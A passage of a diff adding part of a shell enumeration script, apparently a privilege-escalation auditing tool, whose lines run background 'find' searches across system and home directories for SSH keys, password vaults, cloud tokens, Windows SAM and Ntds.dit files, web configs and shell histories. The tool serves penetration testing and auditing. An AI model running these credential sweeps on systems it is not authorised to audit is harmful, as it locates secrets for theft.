+  FIND_DIR_SBIN=`eval_bckgrd "find /sbin -type d -name \"filelliza\" -o -name \"ldap\" -o -name \".svn\" -o -name \".irssi\" -o -name \"logstash\" -o -name \".vnc\" -o -name \"bind\" -o -name \"neo4j\" -o -name \".bluemix\" -o -name \"keyrings\" -o -name \"mysql\" -o -name \"sites-enabled\" -o -name \"couchdb\" -o -name \".cloudflared\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+  FIND_DIR_SNAP=`eval_bckgrd "find /snap -type d -name \"filelliza\" -o -name \"ldap\" -o -name \".svn\" -o -name \".irssi\" -o -name \"logstash\" -o -name \".vnc\" -o -name \"bind\" -o -name \"neo4j\" -o -name \".bluemix\" -o -name \"keyrings\" -o -name \"mysql\" -o -name \"sites-enabled\" -o -name \"couchdb\" -o -name \".cloudflared\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+  FIND_DIR_SRV=`eval_bckgrd "find /srv -type d -name \"filelliza\" -o -name \"ldap\" -o -name \".svn\" -o -name \".irssi\" -o -name \"logstash\" -o -name \".vnc\" -o -name \"bind\" -o -name \"neo4j\" -o -name \".bluemix\" -o -name \"keyrings\" -o -name \"mysql\" -o -name \"sites-enabled\" -o -name \"couchdb\" -o -name \".cloudflared\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+  FIND_DIR_TMP=`eval_bckgrd "find /tmp -type d -name \"filelliza\" -o -name \"ldap\" -o -name \".svn\" -o -name \".irssi\" -o -name \"logstash\" -o -name \".vnc\" -o -name \"bind\" -o -name \"neo4j\" -o -name \".bluemix\" -o -name \"keyrings\" -o -name \"mysql\" -o -name \"sites-enabled\" -o -name \"couchdb\" -o -name \".cloudflared\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+  FIND_DIR_USR=`eval_bckgrd "find /usr -type d -name \"filelliza\" -o -name \"ldap\" -o -name \".svn\" -o -name \".irssi\" -o -name \"logstash\" -o -name \".vnc\" -o -name \"bind\" -o -name \"neo4j\" -o -name \".bluemix\" -o -name \"keyrings\" -o -name \"mysql\" -o -name \"sites-enabled\" -o -name \"couchdb\" -o -name \".cloudflared\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+  FIND_DIR_VAR=`eval_bckgrd "find /var -type d -name \"filelliza\" -o -name \"ldap\" -o -name \".svn\" -o -name \".irssi\" -o -name \"logstash\" -o -name \".vnc\" -o -name \"bind\" -o -name \"neo4j\" -o -name \".bluemix\" -o -name \"keyrings\" -o -name \"mysql\" -o -name \"sites-enabled\" -o -name \"couchdb\" -o -name \".cloudflared\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+  FIND_APPLICATIONS=`eval_bckgrd "find /applications -name \"authorized_keys\" -o -name \"docker.sock\" -o -name \"SecEvent.Evt\" -o -name \".vault-token\" -o -name \"Ntds.dit\" -o -name \"*.ovpn\" -o -name \"*.kdbx\" -o -name \"httpd.conf\" -o -name \"000-default\" -o -name \"krb5.keytab\" -o -name \"*credential*\" -o -name \"server.xml\" -o -name \"*.viminfo\" -o -name \"vault-ssh-helper.hcl\" -o -name \"scclient.exe\" -o -name \".git\" -o -name \"system.sav\" -o -name \"access_tokens.db\" -o -name \"recentservers.xml\" -o -name \"*.keyring\" -o -name \"KeePass.enforced*\" -o -name \"*password*\" -o -name \"docker-compose.yml\" -o -name \"wp-config.php\" -o -name \"credentials\" -o -name \"id_rsa*\" -o -name \"*.pfx\" -o -name \"wsl.exe\" -o -name \"*.service\" -o -name \"bash.exe\" -o -name \"services.xml\" -o -name \"*.sqlite3\" -o -name \"NetSetup.log\" -o -name \"*.crt\" -o -name \".gitconfig\" -o -name \"pg_hba.conf\" -o -name \"docker.socket\" -o -name \"Dockerfile\" -o -name \"*.rdg\" -o -name \"error.log\" -o -name \"anaconda-ks.cfg\" -o -name \".github\" -o -name \".profile\" -o -name \"gitlab.yml\" -o -name \"config.php\" -o -name \".rhosts\" -o -name \".msmtprc\" -o -name \"printers.xml\" -o -name \"backups\" -o -name \"*.der\" -o -name \"iis6.log\" -o -name \"unattend.xml\" -o -name \"my.cnf\" -o -name \"wcx_ftp.ini\" -o -name \".k5login\" -o -name \"*.timer\" -o -name \"pgsql.conf\" -o -name \"TokenCache.dat\" -o -name \"id_dsa*\" -o -name \"ipsec.conf\" -o -name \"winscp.ini\" -o -name \"autologin\" -o -name \".google_authenticator\" -o -name \"default.sav\" -o -name \"*.csr\" -o -name \"KeePass.ini\" -o -name \"access_tokens.json\" -o -name \"filezilla.xml\" -o -name \".bashrc\" -o -name \"setupinfo\" -o -name \"mongod*.conf\" -o -name \"*.pem\" -o -name \".plan\" -o -name \"*.gnupg\" -o -name \"appcmd.exe\" -o -name \"security.sav\" -o -name \"SYSTEM\" -o -name \".ldaprc\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"sites.ini\" -o -name \"passwd\" -o -name \"*.gpg\" -o -name \"*.p12\" -o -name \"gitlab.rm\" -o -name \"storage.php\" -o -name \"KeePass.config*\" -o -name \"*vnc*.ini\" -o -name \"access.log\" -o -name \"sysprep.xml\" -o -name \"cloud.cfg\" -o -name \"unattend.txt\" -o -name \"creds*\" -o -name \"*vnc*.c*nf*\" -o -name \".sudo_as_admin_successful\" -o -name \"ftp.ini\" -o -name \"drives.xml\" -o -name \"fastcgi_params\" -o -name \"groups.xml\" -o -name \"sitemanager.xml\" -o -name \"*.socket\" -o -name \"unattend.inf\" -o -name \"krb5.conf\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.db\" -o -name \"php.ini\" -o -name \"azureProfile.json\" -o -name \"https.conf\" -o -name \"credentials.db\" -o -name \"elasticsearch.y*ml\" -o -name \".env\" -o -name \"datasources.xml\" -o -name \"*vnc*.txt\" -o -name \"redis.conf\" -o -name \"hostapd.conf\" -o -name \"AzureRMContext.json\" -o -name \"autologin.conf\" -o -name \".pypirc\" -o -name \".erlang.cookie\" -o -name \"ffftp.ini\" -o -name \"index.dat\" -o -name \"unattended.xml\" -o -name \"secrets.yml\" -o -name \"hosts.equiv\" -o -name \"legacy_credentials.db\" -o -name \"*.jks\" -o -name \"my.ini\" -o -name \"rsyncd.secrets\" -o -name \"software\" -o -name \".htpasswd\" -o -name \"setupinfo.bak\" -o -name \"*.swp\" -o -name \"supervisord.conf\" -o -name \"known_hosts\" -o -name \"*.ftpconfig\" -o -name \"database.php\" -o -name \"software.sav\" -o -name \"postgresql.conf\" -o -name \"snmpd.conf\" -o -name \"*vnc*.xml\" -o -name \"scheduledtasks.xml\" -o -name \"gvm-tools.conf\" -o -name \".*_history\" -o -name \".lesshst\" -o -name \"security\" -o -name \"ws_ftp.ini\" -o -name \"ftp.config\" -o -name \"ddclient.conf\" -o -name \"ipsec.secrets\" -o -name \"backup\" -o -name \"kibana.y*ml\" -o -name \".git-credentials\" -o -name \"https-xampp.conf\" -o -name \"*.key\" -o -name \"RDCMan.settings\" -o -name \"*.cer\" -o -name \"pagefile.sys\" -o -name \"FreeSSHDservice.ini\" -o -name \"AppEvent.Evt\" -o -name \"*.keystore\" -o -name \"SAM\" -o -name \"web*.config\" -o -name \"*.pgp\" -o -name \"pgadmin*.db\" -o -name \"settings.php\" -o -name \"cesi.conf\" -o -name \"tomcat-users.xml\" -o -name \"sysprep.inf\" -o -name \"rsyncd.conf\" -o -name \"authorized_hosts\" -o -name \".recently-used.xbel\" -o -name \"accessTokens.json\" -o -name \"db.php\" -o -name \"ntuser.dat\" -o -name \"*config*.php\" -o -name \"kadm5.acl\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+  FIND_BIN=`eval_bckgrd "find /bin -name \"authorized_keys\" -o -name \"docker.sock\" -o -name \"SecEvent.Evt\" -o -name \".vault-token\" -o -name \"Ntds.dit\" -o -name \"*.ovpn\" -o -name \"*.kdbx\" -o -name \"httpd.conf\" -o -name \"000-default\" -o -name \"krb5.keytab\" -o -name \"*credential*\" -o -name \"server.xml\" -o -name \"*.viminfo\" -o -name \"vault-ssh-helper.hcl\" -o -name \"scclient.exe\" -o -name \".git\" -o -name \"system.sav\" -o -name \"access_tokens.db\" -o -name \"recentservers.xml\" -o -name \"*.keyring\" -o -name \"KeePass.enforced*\" -o -name \"*password*\" -o -name \"docker-compose.yml\" -o -name \"wp-config.php\" -o -name \"credentials\" -o -name \"id_rsa*\" -o -name \"*.pfx\" -o -name \"wsl.exe\" -o -name \"*.service\" -o -name \"bash.exe\" -o -name \"services.xml\" -o -name \"*.sqlite3\" -o -name \"NetSetup.log\" -o -name \"*.crt\" -o -name \".gitconfig\" -o -name \"pg_hba.conf\" -o -name \"docker.socket\" -o -name \"Dockerfile\" -o -name \"*.rdg\" -o -name \"error.log\" -o -name \"anaconda-ks.cfg\" -o -name \".github\" -o -name \".profile\" -o -name \"gitlab.yml\" -o -name \"config.php\" -o -name \".rhosts\" -o -name \".msmtprc\" -o -name \"printers.xml\" -o -name \"backups\" -o -name \"*.der\" -o -name \"iis6.log\" -o -name \"unattend.xml\" -o -name \"my.cnf\" -o -name \"wcx_ftp.ini\" -o -name \".k5login\" -o -name \"*.timer\" -o -name \"pgsql.conf\" -o -name \"TokenCache.dat\" -o -name \"id_dsa*\" -o -name \"ipsec.conf\" -o -name \"winscp.ini\" -o -name \"autologin\" -o -name \".google_authenticator\" -o -name \"default.sav\" -o -name \"*.csr\" -o -name \"KeePass.ini\" -o -name \"access_tokens.json\" -o -name \"filezilla.xml\" -o -name \".bashrc\" -o -name \"setupinfo\" -o -name \"mongod*.conf\" -o -name \"*.pem\" -o -name \".plan\" -o -name \"*.gnupg\" -o -name \"appcmd.exe\" -o -name \"security.sav\" -o -name \"SYSTEM\" -o -name \".ldaprc\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"sites.ini\" -o -name \"passwd\" -o -name \"*.gpg\" -o -name \"*.p12\" -o -name \"gitlab.rm\" -o -name \"storage.php\" -o -name \"KeePass.config*\" -o -name \"*vnc*.ini\" -o -name \"access.log\" -o -name \"sysprep.xml\" -o -name \"cloud.cfg\" -o -name \"unattend.txt\" -o -name \"creds*\" -o -name \"*vnc*.c*nf*\" -o -name \".sudo_as_admin_successful\" -o -name \"ftp.ini\" -o -name \"drives.xml\" -o -name \"fastcgi_params\" -o -name \"groups.xml\" -o -name \"sitemanager.xml\" -o -name \"*.socket\" -o -name \"unattend.inf\" -o -name \"krb5.conf\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.db\" -o -name \"php.ini\" -o -name \"azureProfile.json\" -o -name \"https.conf\" -o -name \"credentials.db\" -o -name \"elasticsearch.y*ml\" -o -name \".env\" -o -name \"datasources.xml\" -o -name \"*vnc*.txt\" -o -name \"redis.conf\" -o -name \"hostapd.conf\" -o -name \"AzureRMContext.json\" -o -name \"autologin.conf\" -o -name \".pypirc\" -o -name \".erlang.cookie\" -o -name \"ffftp.ini\" -o -name \"index.dat\" -o -name \"unattended.xml\" -o -name \"secrets.yml\" -o -name \"hosts.equiv\" -o -name \"legacy_credentials.db\" -o -name \"*.jks\" -o -name \"my.ini\" -o -name \"rsyncd.secrets\" -o -name \"software\" -o -name \".htpasswd\" -o -name \"setupinfo.bak\" -o -name \"*.swp\" -o -name \"supervisord.conf\" -o -name \"known_hosts\" -o -name \"*.ftpconfig\" -o -name \"database.php\" -o -name \"software.sav\" -o -name \"postgresql.conf\" -o -name \"snmpd.conf\" -o -name \"*vnc*.xml\" -o -name \"scheduledtasks.xml\" -o -name \"gvm-tools.conf\" -o -name \".*_history\" -o -name \".lesshst\" -o -name \"security\" -o -name \"ws_ftp.ini\" -o -name \"ftp.config\" -o -name \"ddclient.conf\" -o -name \"ipsec.secrets\" -o -name \"backup\" -o -name \"kibana.y*ml\" -o -name \".git-credentials\" -o -name \"https-xampp.conf\" -o -name \"*.key\" -o -name \"RDCMan.settings\" -o -name \"*.cer\" -o -name \"pagefile.sys\" -o -name \"FreeSSHDservice.ini\" -o -name \"AppEvent.Evt\" -o -name \"*.keystore\" -o -name \"SAM\" -o -name \"web*.config\" -o -name \"*.pgp\" -o -name \"pgadmin*.db\" -o -name \"settings.php\" -o -name \"cesi.conf\" -o -name \"tomcat-users.xml\" -o -name \"sysprep.inf\" -o -name \"rsyncd.conf\" -o -name \"authorized_hosts\" -o -name \".recently-used.xbel\" -o -name \"accessTokens.json\" -o -name \"db.php\" -o -name \"ntuser.dat\" -o -name \"*config*.php\" -o -name \"kadm5.acl\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+  FIND_CACHE=`eval_bckgrd "find /.cache -name \"authorized_keys\" -o -name \"docker.sock\" -o -name \"SecEvent.Evt\" -o -name \".vault-token\" -o -name \"Ntds.dit\" -o -name \"*.ovpn\" -o -name \"*.kdbx\" -o -name \"httpd.conf\" -o -name \"000-default\" -o -name \"krb5.keytab\" -o -name \"*credential*\" -o -name \"server.xml\" -o -name \"*.viminfo\" -o -name \"vault-ssh-helper.hcl\" -o -name \"scclient.exe\" -o -name \".git\" -o -name \"system.sav\" -o -name \"access_tokens.db\" -o -name \"recentservers.xml\" -o -name \"*.keyring\" -o -name \"KeePass.enforced*\" -o -name \"*password*\" -o -name \"docker-compose.yml\" -o -name \"wp-config.php\" -o -name \"credentials\" -o -name \"id_rsa*\" -o -name \"*.pfx\" -o -name \"wsl.exe\" -o -name \"*.service\" -o -name \"bash.exe\" -o -name \"services.xml\" -o -name \"*.sqlite3\" -o -name \"NetSetup.log\" -o -name \"*.crt\" -o -name \".gitconfig\" -o -name \"pg_hba.conf\" -o -name \"docker.socket\" -o -name \"Dockerfile\" -o -name \"*.rdg\" -o -name \"error.log\" -o -name \"anaconda-ks.cfg\" -o -name \".github\" -o -name \".profile\" -o -name \"gitlab.yml\" -o -name \"config.php\" -o -name \".rhosts\" -o -name \".msmtprc\" -o -name \"printers.xml\" -o -name \"backups\" -o -name \"*.der\" -o -name \"iis6.log\" -o -name \"unattend.xml\" -o -name \"my.cnf\" -o -name \"wcx_ftp.ini\" -o -name \".k5login\" -o -name \"*.timer\" -o -name \"pgsql.conf\" -o -name \"TokenCache.dat\" -o -name \"id_dsa*\" -o -name \"ipsec.conf\" -o -name \"winscp.ini\" -o -name \"autologin\" -o -name \".google_authenticator\" -o -name \"default.sav\" -o -name \"*.csr\" -o -name \"KeePass.ini\" -o -name \"access_tokens.json\" -o -name \"filezilla.xml\" -o -name \".bashrc\" -o -name \"setupinfo\" -o -name \"mongod*.conf\" -o -name \"*.pem\" -o -name \".plan\" -o -name \"*.gnupg\" -o -name \"appcmd.exe\" -o -name \"security.sav\" -o -name \"SYSTEM\" -o -name \".ldaprc\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"sites.ini\" -o -name \"passwd\" -o -name \"*.gpg\" -o -name \"*.p12\" -o -name \"gitlab.rm\" -o -name \"storage.php\" -o -name \"KeePass.config*\" -o -name \"*vnc*.ini\" -o -name \"access.log\" -o -name \"sysprep.xml\" -o -name \"cloud.cfg\" -o -name \"unattend.txt\" -o -name \"creds*\" -o -name \"*vnc*.c*nf*\" -o -name \".sudo_as_admin_successful\" -o -name \"ftp.ini\" -o -name \"drives.xml\" -o -name \"fastcgi_params\" -o -name \"groups.xml\" -o -name \"sitemanager.xml\" -o -name \"*.socket\" -o -name \"unattend.inf\" -o -name \"krb5.conf\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.db\" -o -name \"php.ini\" -o -name \"azureProfile.json\" -o -name \"https.conf\" -o -name \"credentials.db\" -o -name \"elasticsearch.y*ml\" -o -name \".env\" -o -name \"datasources.xml\" -o -name \"*vnc*.txt\" -o -name \"redis.conf\" -o -name \"hostapd.conf\" -o -name \"AzureRMContext.json\" -o -name \"autologin.conf\" -o -name \".pypirc\" -o -name \".erlang.cookie\" -o -name \"ffftp.ini\" -o -name \"index.dat\" -o -name \"unattended.xml\" -o -name \"secrets.yml\" -o -name \"hosts.equiv\" -o -name \"legacy_credentials.db\" -o -name \"*.jks\" -o -name \"my.ini\" -o -name \"rsyncd.secrets\" -o -name \"software\" -o -name \".htpasswd\" -o -name \"setupinfo.bak\" -o -name \"*.swp\" -o -name \"supervisord.conf\" -o -name \"known_hosts\" -o -name \"*.ftpconfig\" -o -name \"database.php\" -o -name \"software.sav\" -o -name \"postgresql.conf\" -o -name \"snmpd.conf\" -o -name \"*vnc*.xml\" -o -name \"scheduledtasks.xml\" -o -name \"gvm-tools.conf\" -o -name \".*_history\" -o -name \".lesshst\" -o -name \"security\" -o -name \"ws_ftp.ini\" -o -name \"ftp.config\" -o -name \"ddclient.conf\" -o -name \"ipsec.secrets\" -o -name \"backup\" -o -name \"kibana.y*ml\" -o -name \".git-credentials\" -o -name \"https-xampp.conf\" -o -name \"*.key\" -o -name \"RDCMan.settings\" -o -name \"*.cer\" -o -name \"pagefile.sys\" -o -name \"FreeSSHDservice.ini\" -o -name \"AppEvent.Evt\" -o -name \"*.keystore\" -o -name \"SAM\" -o -name \"web*.config\" -o -name \"*.pgp\" -o -name \"pgadmin*.db\" -o -name \"settings.php\" -o -name \"cesi.conf\" -o -name \"tomcat-users.xml\" -o -name \"sysprep.inf\" -o -name \"rsyncd.conf\" -o -name \"authorized_hosts\" -o -name \".recently-used.xbel\" -o -name \"accessTokens.json\" -o -name \"db.php\" -o -name \"ntuser.dat\" -o -name \"*config*.php\" -o -name \"kadm5.acl\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+  FIND_CDROM=`eval_bckgrd "find /cdrom -name \"authorized_keys\" -o -name \"docker.sock\" -o -name \"SecEvent.Evt\" -o -name \".vault-token\" -o -name \"Ntds.dit\" -o -name \"*.ovpn\" -o -name \"*.kdbx\" -o -name \"httpd.conf\" -o -name \"000-default\" -o -name \"krb5.keytab\" -o -name \"*credential*\" -o -name \"server.xml\" -o -name \"*.viminfo\" -o -name \"vault-ssh-helper.hcl\" -o -name \"scclient.exe\" -o -name \".git\" -o -name \"system.sav\" -o -name \"access_tokens.db\" -o -name \"recentservers.xml\" -o -name \"*.keyring\" -o -name \"KeePass.enforced*\" -o -name \"*password*\" -o -name \"docker-compose.yml\" -o -name \"wp-config.php\" -o -name \"credentials\" -o -name \"id_rsa*\" -o -name \"*.pfx\" -o -name \"wsl.exe\" -o -name \"*.service\" -o -name \"bash.exe\" -o -name \"services.xml\" -o -name \"*.sqlite3\" -o -name \"NetSetup.log\" -o -name \"*.crt\" -o -name \".gitconfig\" -o -name \"pg_hba.conf\" -o -name \"docker.socket\" -o -name \"Dockerfile\" -o -name \"*.rdg\" -o -name \"error.log\" -o -name \"anaconda-ks.cfg\" -o -name \".github\" -o -name \".profile\" -o -name \"gitlab.yml\" -o -name \"config.php\" -o -name \".rhosts\" -o -name \".msmtprc\" -o -name \"printers.xml\" -o -name \"backups\" -o -name \"*.der\" -o -name \"iis6.log\" -o -name \"unattend.xml\" -o -name \"my.cnf\" -o -name \"wcx_ftp.ini\" -o -name \".k5login\" -o -name \"*.timer\" -o -name \"pgsql.conf\" -o -name \"TokenCache.dat\" -o -name \"id_dsa*\" -o -name \"ipsec.conf\" -o -name \"winscp.ini\" -o -name \"autologin\" -o -name \".google_authenticator\" -o -name \"default.sav\" -o -name \"*.csr\" -o -name \"KeePass.ini\" -o -name \"access_tokens.json\" -o -name \"filezilla.xml\" -o -name \".bashrc\" -o -name \"setupinfo\" -o -name \"mongod*.conf\" -o -name \"*.pem\" -o -name \".plan\" -o -name \"*.gnupg\" -o -name \"appcmd.exe\" -o -name \"security.sav\" -o -name \"SYSTEM\" -o -name \".ldaprc\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"sites.ini\" -o -name \"passwd\" -o -name \"*.gpg\" -o -name \"*.p12\" -o -name \"gitlab.rm\" -o -name \"storage.php\" -o -name \"KeePass.config*\" -o -name \"*vnc*.ini\" -o -name \"access.log\" -o -name \"sysprep.xml\" -o -name \"cloud.cfg\" -o -name \"unattend.txt\" -o -name \"creds*\" -o -name \"*vnc*.c*nf*\" -o -name \".sudo_as_admin_successful\" -o -name \"ftp.ini\" -o -name \"drives.xml\" -o -name \"fastcgi_params\" -o -name \"groups.xml\" -o -name \"sitemanager.xml\" -o -name \"*.socket\" -o -name \"unattend.inf\" -o -name \"krb5.conf\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.db\" -o -name \"php.ini\" -o -name \"azureProfile.json\" -o -name \"https.conf\" -o -name \"credentials.db\" -o -name \"elasticsearch.y*ml\" -o -name \".env\" -o -name \"datasources.xml\" -o -name \"*vnc*.txt\" -o -name \"redis.conf\" -o -name \"hostapd.conf\" -o -name \"AzureRMContext.json\" -o -name \"autologin.conf\" -o -name \".pypirc\" -o -name \".erlang.cookie\" -o -name \"ffftp.ini\" -o -name \"index.dat\" -o -name \"unattended.xml\" -o -name \"secrets.yml\" -o -name \"hosts.equiv\" -o -name \"legacy_credentials.db\" -o -name \"*.jks\" -o -name \"my.ini\" -o -name \"rsyncd.secrets\" -o -name \"software\" -o -name \".htpasswd\" -o -name \"setupinfo.bak\" -o -name \"*.swp\" -o -name \"supervisord.conf\" -o -name \"known_hosts\" -o -name \"*.ftpconfig\" -o -name \"database.php\" -o -name \"software.sav\" -o -name \"postgresql.conf\" -o -name \"snmpd.conf\" -o -name \"*vnc*.xml\" -o -name \"scheduledtasks.xml\" -o -name \"gvm-tools.conf\" -o -name \".*_history\" -o -name \".lesshst\" -o -name \"security\" -o -name \"ws_ftp.ini\" -o -name \"ftp.config\" -o -name \"ddclient.conf\" -o -name \"ipsec.secrets\" -o -name \"backup\" -o -name \"kibana.y*ml\" -o -name \".git-credentials\" -o -name \"https-xampp.conf\" -o -name \"*.key\" -o -name \"RDCMan.settings\" -o -name \"*.cer\" -o -name \"pagefile.sys\" -o -name \"FreeSSHDservice.ini\" -o -name \"AppEvent.Evt\" -o -name \"*.keystore\" -o -name \"SAM\" -o -name \"web*.config\" -o -name \"*.pgp\" -o -name \"pgadmin*.db\" -o -name \"settings.php\" -o -name \"cesi.conf\" -o -name \"tomcat-users.xml\" -o -name \"sysprep.inf\" -o -name \"rsyncd.conf\" -o -name \"authorized_hosts\" -o -name \".recently-used.xbel\" -o -name \"accessTokens.json\" -o -name \"db.php\" -o -name \"ntuser.dat\" -o -name \"*config*.php\" -o -name \"kadm5.acl\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+  FIND_ETC=`eval_bckgrd "find /etc -name \"authorized_keys\" -o -name \"docker.sock\" -o -name \"SecEvent.Evt\" -o -name \".vault-token\" -o -name \"Ntds.dit\" -o -name \"*.ovpn\" -o -name \"*.kdbx\" -o -name \"httpd.conf\" -o -name \"000-default\" -o -name \"krb5.keytab\" -o -name \"*credential*\" -o -name \"server.xml\" -o -name \"*.viminfo\" -o -name \"vault-ssh-helper.hcl\" -o -name \"scclient.exe\" -o -name \".git\" -o -name \"system.sav\" -o -name \"*knockd*\" -o -name \"access_tokens.db\" -o -name \"recentservers.xml\" -o -name \"*.keyring\" -o -name \"KeePass.enforced*\" -o -name \"*password*\" -o -name \"docker-compose.yml\" -o -name \"wp-config.php\" -o -name \"credentials\" -o -name \"id_rsa*\" -o -name \"*.pfx\" -o -name \"wsl.exe\" -o -name \"*.service\" -o -name \"bash.exe\" -o -name \"services.xml\" -o -name \"*.sqlite3\" -o -name \"NetSetup.log\" -o -name \"*.crt\" -o -name \".gitconfig\" -o -name \"pg_hba.conf\" -o -name \"docker.socket\" -o -name \"Dockerfile\" -o -name \"*.rdg\" -o -name \"error.log\" -o -name \"anaconda-ks.cfg\" -o -name \".github\" -o -name \".profile\" -o -name \"gitlab.yml\" -o -name \"config.php\" -o -name \".rhosts\" -o -name \".msmtprc\" -o -name \"printers.xml\" -o -name \"backups\" -o -name \"*.der\" -o -name \"iis6.log\" -o -name \"unattend.xml\" -o -name \"my.cnf\" -o -name \"wcx_ftp.ini\" -o -name \".k5login\" -o -name \"*.timer\" -o -name \"pgsql.conf\" -o -name \"TokenCache.dat\" -o -name \"id_dsa*\" -o -name \"ipsec.conf\" -o -name \"winscp.ini\" -o -name \"autologin\" -o -name \".google_authenticator\" -o -name \"default.sav\" -o -name \"*.csr\" -o -name \"KeePass.ini\" -o -name \"access_tokens.json\" -o -name \"filezilla.xml\" -o -name \".bashrc\" -o -name \"setupinfo\" -o -name \"mongod*.conf\" -o -name \"*.pem\" -o -name \".plan\" -o -name \"*.gnupg\" -o -name \"appcmd.exe\" -o -name \"security.sav\" -o -name \"SYSTEM\" -o -name \".ldaprc\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"sites.ini\" -o -name \"passwd\" -o -name \"*.gpg\" -o -name \"*.p12\" -o -name \"gitlab.rm\" -o -name \"storage.php\" -o -name \"KeePass.config*\" -o -name \"*vnc*.ini\" -o -name \"access.log\" -o -name \"sysprep.xml\" -o -name \"cloud.cfg\" -o -name \"unattend.txt\" -o -name \"creds*\" -o -name \"*vnc*.c*nf*\" -o -name \".sudo_as_admin_successful\" -o -name \"ftp.ini\" -o -name \"drives.xml\" -o -name \"fastcgi_params\" -o -name \"groups.xml\" -o -name \"sitemanager.xml\" -o -name \"*.socket\" -o -name \"unattend.inf\" -o -name \"krb5.conf\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.db\" -o -name \"php.ini\" -o -name \"azureProfile.json\" -o -name \"https.conf\" -o -name \"credentials.db\" -o -name \"elasticsearch.y*ml\" -o -name \".env\" -o -name \"datasources.xml\" -o -name \"*vnc*.txt\" -o -name \"redis.conf\" -o -name \"hostapd.conf\" -o -name \"AzureRMContext.json\" -o -name \"autologin.conf\" -o -name \".pypirc\" -o -name \".erlang.cookie\" -o -name \"ffftp.ini\" -o -name \"index.dat\" -o -name \"unattended.xml\" -o -name \"secrets.yml\" -o -name \"hosts.equiv\" -o -name \"legacy_credentials.db\" -o -name \"*.jks\" -o -name \"my.ini\" -o -name \"rsyncd.secrets\" -o -name \"software\" -o -name \".htpasswd\" -o -name \"setupinfo.bak\" -o -name \"*.swp\" -o -name \"supervisord.conf\" -o -name \"known_hosts\" -o -name \"*.ftpconfig\" -o -name \"database.php\" -o -name \"software.sav\" -o -name \"postgresql.conf\" -o -name \"snmpd.conf\" -o -name \"*vnc*.xml\" -o -name \"scheduledtasks.xml\" -o -name \"gvm-tools.conf\" -o -name \".*_history\" -o -name \".lesshst\" -o -name \"security\" -o -name \"ws_ftp.ini\" -o -name \"ftp.config\" -o -name \"ddclient.conf\" -o -name \"ipsec.secrets\" -o -name \"backup\" -o -name \"kibana.y*ml\" -o -name \".git-credentials\" -o -name \"https-xampp.conf\" -o -name \"*.key\" -o -name \"RDCMan.settings\" -o -name \"*.cer\" -o -name \"pagefile.sys\" -o -name \"FreeSSHDservice.ini\" -o -name \"AppEvent.Evt\" -o -name \"*.keystore\" -o -name \"SAM\" -o -name \"web*.config\" -o -name \"*.pgp\" -o -name \"pgadmin*.db\" -o -name \"settings.php\" -o -name \"cesi.conf\" -o -name \"tomcat-users.xml\" -o -name \"sysprep.inf\" -o -name \"rsyncd.conf\" -o -name \"authorized_hosts\" -o -name \".recently-used.xbel\" -o -name \"accessTokens.json\" -o -name \"db.php\" -o -name \"ntuser.dat\" -o -name \"*config*.php\" -o -name \"kadm5.acl\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+  FIND_HOMESEARCH=`eval_bckgrd "find $HOMESEARCH -name \"authorized_keys\" -o -name \"docker.sock\" -o -name \"SecEvent.Evt\" -o -name \".vault-token\" -o -name \"Ntds.dit\" -o -name \"*.ovpn\" -o -name \"*.kdbx\" -o -name \"httpd.conf\" -o -name \"000-default\" -o -name \"krb5.keytab\" -o -name \"*credential*\" -o -name \"server.xml\" -o -name \"*.viminfo\" -o -name \"vault-ssh-helper.hcl\" -o -name \"scclient.exe\" -o -name \".git\" -o -name \"system.sav\" -o -name \"access_tokens.db\" -o -name \"recentservers.xml\" -o -name \"*.keyring\" -o -name \"KeePass.enforced*\" -o -name \"*password*\" -o -name \"docker-compose.yml\" -o -name \"wp-config.php\" -o -name \"credentials\" -o -name \"id_rsa*\" -o -name \"*.pfx\" -o -name \"wsl.exe\" -o -name \"*.service\" -o -name \"bash.exe\" -o -name \"services.xml\" -o -name \"*.sqlite3\" -o -name \"NetSetup.log\" -o -name \"*.crt\" -o -name \".gitconfig\" -o -name \"pg_hba.conf\" -o -name \"docker.socket\" -o -name \"Dockerfile\" -o -name \"*.rdg\" -o -name \"error.log\" -o -name \"anaconda-ks.cfg\" -o -name \".github\" -o -name \".profile\" -o -name \"*config*ssh*\" -o -name \"gitlab.yml\" -o -name \"config.php\" -o -name \".rhosts\" -o -name \".msmtprc\" -o -name \"printers.xml\" -o -name \"backups\" -o -name \"*.der\" -o -name \"iis6.log\" -o -name \"unattend.xml\" -o -name \"my.cnf\" -o -name \"wcx_ftp.ini\" -o -name \".k5login\" -o -name \"*.timer\" -o -name \"pgsql.conf\" -o -name \"TokenCache.dat\" -o -name \"id_dsa*\" -o -name \"ipsec.conf\" -o -name \"winscp.ini\" -o -name \"autologin\" -o -name \".google_authenticator\" -o -name \"default.sav\" -o -name \"*.csr\" -o -name \"KeePass.ini\" -o -name \"access_tokens.json\" -o -name \"filezilla.xml\" -o -name \".bashrc\" -o -name \"setupinfo\" -o -name \"mongod*.conf\" -o -name \"*.pem\" -o -name \".plan\" -o -name \"*.gnupg\" -o -name \"appcmd.exe\" -o -name \"security.sav\" -o -name \"SYSTEM\" -o -name \".ldaprc\" -o -name \"*.sqlite\" -o -name 